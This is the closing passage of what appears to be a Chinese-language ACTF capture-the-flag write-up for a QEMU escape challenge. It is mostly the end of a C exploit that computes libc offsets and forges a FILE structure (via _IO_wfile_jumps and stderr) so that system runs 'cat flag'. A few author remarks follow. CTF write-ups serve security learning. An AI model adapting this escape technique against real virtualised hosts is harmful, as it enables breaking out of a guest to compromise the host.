printf("libc_address is %lx",libc_address);

size_t system_addr = 0x50d70 + libc_address;
size_t stderr_addr = 0x21a6a0 + libc_address;
size_t _IO_list_all = 0x21a680 + libc_address;
size_t _IO_wfile_jumps = 0x2160c0 + libc_address;

memcpy(payload, " cat flag >&2;", 0x10);
((uint64_t*)payload)[5] = 1;
((uint64_t*)payload)[20] = addr2;
((uint64_t*)payload)[27] = _IO_wfile_jumps;
send_payload(stderr_addr, 0xe0);

((uint64_t*)payload)[0] = 0;
((uint64_t*)payload)[1] = 0;
((uint64_t*)payload)[5] = 0;
((uint64_t*)payload)[20] = 0;
((uint64_t*)payload)[27] = 0;

((uint64_t*)payload)[0] = stderr_addr;
send_payload(stderr_addr - 0x20, 0x8);


((uint64_t*)payload)[0] = addr2+0xe0;
send_payload(addr2+0xe0, 0x8);

((uint64_t*)payload)[0] = system_addr;
send_payload(addr2+0xe0+0x68,8);


system("poweroff -f");

return 0;
}

img

终于出来啦,感觉比🐍出来还要舒服啊

其实感觉挺基础的一道qemu escape,但为什么要加个逆向来恶心我呢。

这是怎么绘事呢?


ACTF
http://example.com/2023/10/31/ACTF/
作者
korey0sh1
发布于
2023年10月31日
许可协议